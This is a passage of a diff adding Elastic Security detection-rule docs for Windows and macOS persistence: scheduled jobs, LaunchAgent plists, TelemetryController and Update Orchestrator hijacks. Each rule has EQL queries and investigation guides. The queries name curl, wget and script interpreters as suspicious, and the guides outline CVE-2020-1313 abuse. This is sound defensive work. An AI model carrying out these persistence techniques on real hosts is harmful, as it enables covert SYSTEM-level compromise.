https://attack.mitre.org/techniques/T1546/013/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: PowerShell Profile +** ID: T1546.013 +** Reference URL: https://attack.mitre.org/techniques/T1546/013/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-scheduled-job-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-scheduled-job-creation.asciidoc new file mode 100644 index 0000000000..9ab0bcc96f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-scheduled-job-creation.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-persistence-via-scheduled-job-creation]] +=== Persistence via Scheduled Job Creation + +A job can be used to schedule programs or scripts to be executed at a specified date and time. Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 418 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Scheduled Job Creation* + + +Scheduled jobs in Windows environments allow tasks to be automated by executing scripts or programs at specified times. Adversaries exploit this feature to maintain persistence by scheduling malicious code execution. The detection rule identifies suspicious job creation by monitoring specific file paths and extensions, excluding known legitimate processes, to flag potential abuse while minimizing false positives. + + +*Possible investigation steps* + + +- Review the file path and extension to confirm the presence of a scheduled job in the "?:\Windows\Tasks\" directory with a ".job" extension, which is indicative of a scheduled task. +- Examine the process executable path to determine if the job creation is associated with any known legitimate processes, such as CCleaner or ManageEngine, which are excluded in the detection rule. +- Investigate the origin of the process that created the scheduled job by checking the process execution history and command line arguments to identify any potentially malicious behavior. +- Analyze the scheduled job's content and associated scripts or programs to identify any suspicious or unauthorized code that may indicate malicious intent. +- Correlate the event with other security logs and alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context and identify any related malicious activity. +- Assess the risk and impact of the scheduled job by determining if it aligns with known adversary tactics, techniques, and procedures (TTPs) related to persistence, as outlined in the MITRE ATT&CK framework. + + +*False positive analysis* + + +- Scheduled jobs created by CCleaner for crash reporting can trigger false positives. Exclude the path "?:\Windows\Tasks\CCleanerCrashReporting.job" when the process executable is "?:\Program Files\CCleaner\CCleaner64.exe". +- ManageEngine UEMS Agent and DesktopCentral Agent may create scheduled jobs for updates, leading to false positives. Exclude the path "?:\Windows\Tasks\DCAgentUpdater.job" when the process executable is "?:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" or "?:\Program Files (x86)\DesktopCentral_Agent\bin\dcagentregister.exe". +- Regularly review and update exclusion lists to ensure they reflect the current environment and legitimate software behavior. +- Consider implementing a whitelist of known legitimate processes and paths to further reduce false positives while maintaining effective threat detection. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious scheduled jobs and limit lateral movement. +- Terminate any suspicious processes associated with the identified scheduled job, using tools like Task Manager or PowerShell, to halt any ongoing malicious activity. +- Delete the suspicious scheduled job file from the system to prevent future execution. This can be done using the Task Scheduler or command-line tools. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) solutions to identify and remove any additional malicious files or remnants. +- Review and audit other scheduled tasks on the system to ensure no additional unauthorized or suspicious jobs are present. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected. +- Implement enhanced monitoring and alerting for scheduled job creation activities across the network to detect similar threats in the future, leveraging the specific query fields used in the detection rule. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.path : "?:\\Windows\\Tasks\\*" and file.extension : "job" and + not ( + ( + process.executable : "?:\\Program Files\\CCleaner\\CCleaner64.exe" and + file.path : "?:\\Windows\\Tasks\\CCleanerCrashReporting.job" + ) or + process.executable : ( + "?:\\Program Files (x86)\\DesktopCentral_Agent\\bin\\dcagentregister.exe", + "?:\\Program Files (x86)\\epson\\Epson Scan 2\\Update\\e_dtsksd.exe", + "?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcagentregister.exe", + "?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\dcconfig.exe", + "?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\UemsComponentUpgrader.exe", + "?:\\Program Files (x86)\\Skillbrains\\Updater\\*\\Updater.exe", + "?:\\Windows\\System32\\drivers\\RivetNetworks\\Killer\\CustomizeInstallFirstRun.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-suspicious-launch-agent-or-launch-daemon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-suspicious-launch-agent-or-launch-daemon.asciidoc new file mode 100644 index 0000000000..51c61eb783 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-suspicious-launch-agent-or-launch-daemon.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-persistence-via-suspicious-launch-agent-or-launch-daemon]] +=== Persistence via Suspicious Launch Agent or Launch Daemon + +Identifies the creation of a launch agent or daemon property list file containing abnormal or suspicious values. An adversary may establish persistence by installing a new launch agent or daemon which executes at login. This rule looks for plist files created in LaunchAgents/LaunchDaemons directories with paths commonly used by malware. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/red-teaming-with-a-blue-team-mentality/a-brief-look-at-macos-detections-and-post-infection-analysis-b0ede7ecfeb9 +* https://objective-see.org/blog +* https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Suspicious Launch Agent or Launch Daemon* + + +LaunchAgents and LaunchDaemons are the standard macOS mechanisms for starting programs automatically at user login or system boot. While essential for legitimate software, these persistence mechanisms are heavily abused by malware including RustBucket (DPRK), Shlayer, and CloudMensis. This detection rule identifies plist file creation in LaunchAgent/LaunchDaemon directories when performed by suspicious processes including scripts executing from temporary directories, unsigned binaries, or scripting interpreters like Python and osascript. + + +*Possible investigation steps* + + +- Examine the file.path to identify the specific plist file created and its location (user vs system LaunchAgent/LaunchDaemon directory). +- Read the plist contents using plutil or defaults to identify the Program or ProgramArguments configured for execution. +- Analyze the process.executable to understand what created the plist file and assess whether execution from that location (temp directory, hidden folder) is suspicious. +- Check the process.name and process.code_signature fields to determine if the creating process was a scripting interpreter or unsigned binary. +- Locate the binary or script referenced in the plist and calculate its hash for threat intelligence lookups. +- Review the parent process chain to trace back to the initial execution vector that led to plist creation. +- Correlate with other file and process events to identify additional malware components that may have been deployed simultaneously. + + +*False positive analysis* + + +- Legitimate software installers may create LaunchAgents/LaunchDaemons during setup, but typically from signed installer processes rather than scripts in temp directories. +- Development and testing environments may use scripting languages to create launch items. Verify with development teams if such activities are expected. +- Several legitimate signing IDs are already excluded including vim, JetBrains Toolbox, and Sublime Text. +- System utilities like cfprefsd may modify plist files during normal operations and are excluded. +- Enterprise deployment tools may use scripts to configure launch items. Document and exclude approved deployment processes. + + +*Response and remediation* + + +- Immediately unload the suspicious LaunchAgent or LaunchDaemon using launchctl unload with the plist path. +- Remove the malicious plist file from the LaunchAgent or LaunchDaemon directory. +- Locate and remove the executable or script referenced in the plist's Program or ProgramArguments keys. +- Check for other persistence mechanisms that may have been deployed by the same threat actor. +- Review system logs for evidence of the persistence mechanism executing and what actions it performed. +- If the detection matches patterns of known malware families (RustBucket, Shlayer), perform comprehensive IOC searches and threat hunting. +- Reset any credentials that may have been accessed while the malicious process was running. +- Monitor for recreation of similar plist files to detect persistent access or ongoing compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.type != "deletion" and + file.extension == "plist" and + file.path like ("/Library/LaunchAgents/*", "/Library/LaunchDaemons/*", + "/Users/*/Library/LaunchAgents/*", "/System/Library/LaunchAgents/*", + "/System/Library/LaunchDaemons/*") and + (process.executable like ("/private/tmp/*", "/private/var/root/Library/*", "/var/tmp/*", + "/tmp/*", "/var/folders/*", "/Users/Shared/*", "/var/root/*", + "/Library/WebServer/*", "/Library/Graphics/*", "/Library/Fonts/*") or + process.name like~ ("python*", "osascript", "bash", "zsh", "sh", "curl", "nscurl", "wget", "java")) and + not process.executable like ("/System/*", "/Library/PrivilegedHelperTools/*") and + not (process.code_signature.signing_id in ("com.apple.vim", "com.apple.cat", "com.apple.cfprefsd", + "com.jetbrains.toolbox", "com.apple.pico", "com.apple.shove", + "com.sublimetext.4", "com.apple.ditto") and process.code_signature.trusted == true) and + not (file.path like ("/Library/LaunchDaemons/com.jumpcloud.*", + "/Library/LaunchAgents/com.jumpcloud.*", + "/Library/LaunchDaemons/com.wazuh.*", + "/Library/LaunchDaemons/com.zscaler.service.plist") and + process.executable == "/bin/bash") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Plist Modification +** ID: T1547.011 +** Reference URL: https://attack.mitre.org/techniques/T1547/011/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-telemetrycontroller-scheduled-task-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-telemetrycontroller-scheduled-task-hijack.asciidoc new file mode 100644 index 0000000000..68f6fa2cbb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-telemetrycontroller-scheduled-task-hijack.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-persistence-via-telemetrycontroller-scheduled-task-hijack]] +=== Persistence via TelemetryController Scheduled Task Hijack + +Detects the successful hijack of Microsoft Compatibility Appraiser scheduled task to establish persistence with an integrity level of system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via TelemetryController Scheduled Task Hijack* + + + +*Possible investigation steps* + + +- What behavior path did the alert preserve from CompatTelRunner to the child? + - Why: "-cv" marks the TelemetryController handoff; the executable path before it is the key artifact. + - Focus: `process.parent.executable`, `process.command_line`, `process.executable`, `process.Ext.token.integrity_level_name`, and `user.id`. + - Implication: escalate when "CompatTelRunner.exe" launches a user-writable, script-hosted, renamed, or newly introduced child with SYSTEM context; lower suspicion only when the handoff resolves to a stable Microsoft telemetry component for this host, then still validate the registry state that produced it. + +- Does the child binary identity match the command path and expected telemetry role? + - Focus: `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.Ext.relative_file_creation_time`. + - Implication: escalate when metadata, signer, hash, or recent file age conflicts with the path or Microsoft telemetry role; lower suspicion when identity, signer, path, and age fit a stable Windows or enterprise diagnostic binary. + +- Which TelemetryController values enabled this launch, and which process wrote them? + - Focus: recovered registry events on `host.id` for TelemetryController `registry.path`, `registry.value`, `registry.data.strings`, and writer `process.executable`. + - Range: search back several days; the registry hijack can precede scheduled task execution. + - Hint: search the TelemetryController root and subkeys, compare command-like `registry.data.strings` to the alert child, and treat registry telemetry as recovery evidence; missing registry history leaves persistence unresolved. Do not clear only because startup folders or service keys are clean. + - Implication: escalate when a command value points to the alert child or another non-Windows binary or script and the same subkey enables execution; an unexpected writer exposes the privileged component that planted HKLM persistence. Lower suspicion only when values, writer, and child path all match one controlled diagnostic or test workflow. + +- Did the launched child stage or reuse artifacts that extend the persistence chain? + - Focus: same-process file events on `host.id` using `process.entity_id`, or `process.pid` in a tight alert window: `file.path`, `file.Ext.original.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, and later `process.executable` reuse. !{investigate{"description":"","label":"File events for the launched child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the child writes executable or scriptable content to user-writable, startup, service, or task paths, especially with external provenance or later execution; absent file telemetry does not clear a suspicious command or registry handoff. + +- Did the launched child contact destinations inconsistent with telemetry or the signer? + - Focus: same-process DNS and connection events on `host.id`: `dns.question.name`, `dns.resolved_ip`, `destination.ip`, `destination.port`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network events for the launched child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: Missing network telemetry is unresolved, not benign. Treat infrastructure ownership as context rather than a verdict. + - Implication: escalate when the child reaches public, rare, or signer-misaligned infrastructure; lower suspicion when destinations consistently fit Microsoft telemetry, internal servicing, or the same verified diagnostic workflow. + +- If local evidence remains suspicious or unresolved, is this a local test pattern or repeated TelemetryController persistence? + - Focus: recent alerts for the same `process.executable` before broader host review. !{investigate{"description":"","label":"Alerts involving the same child path","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: use host alert history only after child identity, command line, registry, file, or network evidence remains suspicious or unresolved. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same child path, TelemetryController pattern, or follow-on alert chain appears on unrelated hosts; keep scope local when telemetry ties the exact child, writer, values, and host scope to one verified lab or diagnostic workflow. + +- Escalate when the handoff, child identity, registry writer/values, artifacts, destinations, or alert history show arbitrary or staged execution through TelemetryController; close only when the same evidence ties the exact child, writer, values, and scope to a controlled diagnostic or validation workflow; preserve artifacts and escalate when registry, file, or network evidence is missing or contradictory. + + +*False positive analysis* + + +- Non-Microsoft TelemetryController command registration is an operational anti-pattern. Controlled image-validation or compatibility-lab workflows can still trigger this rule when they register a signed diagnostic or servicing binary. Close benign only when telemetry ties `process.command_line`, `process.executable`, `process.hash.sha256`, TelemetryController `registry.path`, `registry.data.strings`, writer `process.executable`, and the `host.id` cohort to the same build or lab workflow. Use records only as corroboration; before exceptioning, validate recurrence for the same payload identity, writer, value pattern, and lab-host scope. +- Authorized adversary-emulation or detection-validation tests can deliberately hijack TelemetryController. Close benign only when `process.command_line`, `process.hash.sha256`, TelemetryController `registry.path`, expected `host.id` or `user.id` test scope, and registry-writing `process.executable` all match exercise telemetry. Use engagement records only as corroboration; before exceptioning, verify the same payload hash or path and writer recur only on known test assets and not unrelated production hosts. Do not exception on `process.parent.name`, "CompatTelRunner.exe", "-cv", or `process.name` alone. + + +*Response and remediation* + + +- If confirmed benign: + - Record the TelemetryController `registry.path`, child `process.executable` or `process.hash.sha256`, writer `process.executable`, host scope, and telemetry that proved the workflow, then reverse any temporary containment. Build exceptions from that minimum pattern plus `host.id`, not from `process.parent.name`, "CompatTelRunner.exe", or "-cv" alone. +- If suspicious but unconfirmed: + - Preserve the alert process record, recovered TelemetryController registry events, writer lineage, written `file.path` artifacts, and any `dns.question.name` or `destination.ip` indicators before cleanup. + - Apply reversible containment tied to the findings, such as temporarily disabling the suspect TelemetryController subkey or blocking the child binary or destination. Escalate to host isolation only when host criticality allows it and same-process artifacts or destinations show active follow-on behavior. +- If confirmed malicious: + - Isolate the host and terminate the malicious child only after recording the child process identity, command line, TelemetryController values, writer lineage, written `file.path`, `process.hash.sha256`, and destination indicators. If direct endpoint response is unavailable, escalate with that evidence set to the team that can contain the asset. + - Remove the malicious TelemetryController subkey or restore its values to known-good state, then remove only the payloads and additional persistence artifacts identified during the investigation. Validate that the "Microsoft Compatibility Appraiser" task no longer launches the malicious child, and scope other hosts for the same child path or registry pattern before deleting artifacts. +- Post-incident hardening: + - Restrict local admin rights on exposed hosts, keep process, registry, file, and network telemetry for this key family enabled, and record any TelemetryController visibility gaps in the case notes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "CompatTelRunner.exe" and process.args : "-cv*" and + not process.name : ("conhost.exe", + "DeviceCensus.exe", + "CompatTelRunner.exe", + "DismHost.exe", + "rundll32.exe", + "powershell.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-update-orchestrator-service-hijack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-update-orchestrator-service-hijack.asciidoc new file mode 100644 index 0000000000..9120fe96aa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-update-orchestrator-service-hijack.asciidoc @@ -0,0 +1,211 @@ +[[prebuilt-rule-8-19-34-persistence-via-update-orchestrator-service-hijack]] +=== Persistence via Update Orchestrator Service Hijack + +Identifies potential hijacking of the Microsoft Update Orchestrator Service to establish persistence with an integrity level of SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/irsl/CVE-2020-1313 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Use Case: Vulnerability +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via Update Orchestrator Service Hijack* + + + +*Possible investigation steps* + + +- What did UsoSvc actually launch, and does the child identity fit Windows or Office servicing? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Hint: use `process.parent.command_line` to confirm svchost is hosting UsoSvc, not just sharing the name. + - Implication: escalate when UsoSvc launches a renamed, user-writable, unsigned, rare, or non-servicing child; lower concern only when path, signer, and parent service context match a recognized Windows Update or Click-to-Run component. Identity alone does not clear it. + +- Does the command line show attacker-controlled work running with service-level privilege? + - Why: on unpatched hosts, CVE-2020-1313 ScheduleWork can queue signed System32 or Common Files binaries with attacker-controlled arguments. + - Focus: `process.command_line`, `process.Ext.token.integrity_level_name`, and `user.id`. + - Implication: escalate when "cmd.exe", "rundll32.exe", "regsvr32.exe", a scripting host, or another signed binary runs shell, download, staging, redirection, or persistence arguments under SYSTEM or high integrity; lower concern when arguments fit the exact servicing binary workflow. + +- If registry telemetry is available, was matching work queued under the Update Orchestrator UScheduler path? + - Focus: same `host.id` registry events for `registry.path` under "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler", with `registry.value`, `registry.data.strings`, and writer `process.executable`. + - Range: search several days before the alert; queued work can run overnight or after a multi-day service window. + - Hint: interpret queued strings with `registry.data.type`, then compare them to `process.command_line` and `process.executable`; missing registry telemetry is unresolved, not benign. + - Implication: escalate when the queue names the same unusual child or arguments, especially from a non-servicing writer; absent queue history only limits this corroborator. + +- Did the child stage artifacts or spawn follow-on processes that extend the abuse? + - Focus: child starts from `process.entity_id`; if file telemetry exists, same-process `file.path`, `file.Ext.original.path`, and `file.origin_url`. + - !{investigate{"description":"","label":"Child process starts from the launched child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"File events for the launched child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: scope file pivots with `host.id` plus `process.entity_id`; use `host.id` plus `process.pid` and a tight alert window only when entity ID is absent. Missing file telemetry limits artifact review, but child-process and command evidence can justify escalation. + - Implication: escalate when the child writes executable or scriptable content to user-writable or deceptive paths, renames staged content, or launches written artifacts; lower concern when activity stays inside the recognized servicing path with no follow-on execution. + +- If network telemetry is available, does the child contact destinations consistent with servicing? + - Focus: process-scoped DNS `dns.question.name` and `dns.resolved_ip`, then connections by `destination.ip`, `destination.port`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network events for the launched child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: use "lookup_result" DNS events for populated `dns.resolved_ip`; scope with `host.id` plus `process.entity_id`, or `host.id` plus `process.pid` and a tight alert window. Infrastructure ownership is context, not a verdict; missing network telemetry is unresolved, not benign. + - Implication: escalate when the child reaches rare or public infrastructure unrelated to Microsoft servicing, the signer, or recovered queue; lower concern when destinations fit the signed binary's normal update or repair endpoints. + +- If local evidence remains suspicious or unresolved, do related alerts change scope? + - Focus: compare recent alerts for the same `process.executable`. 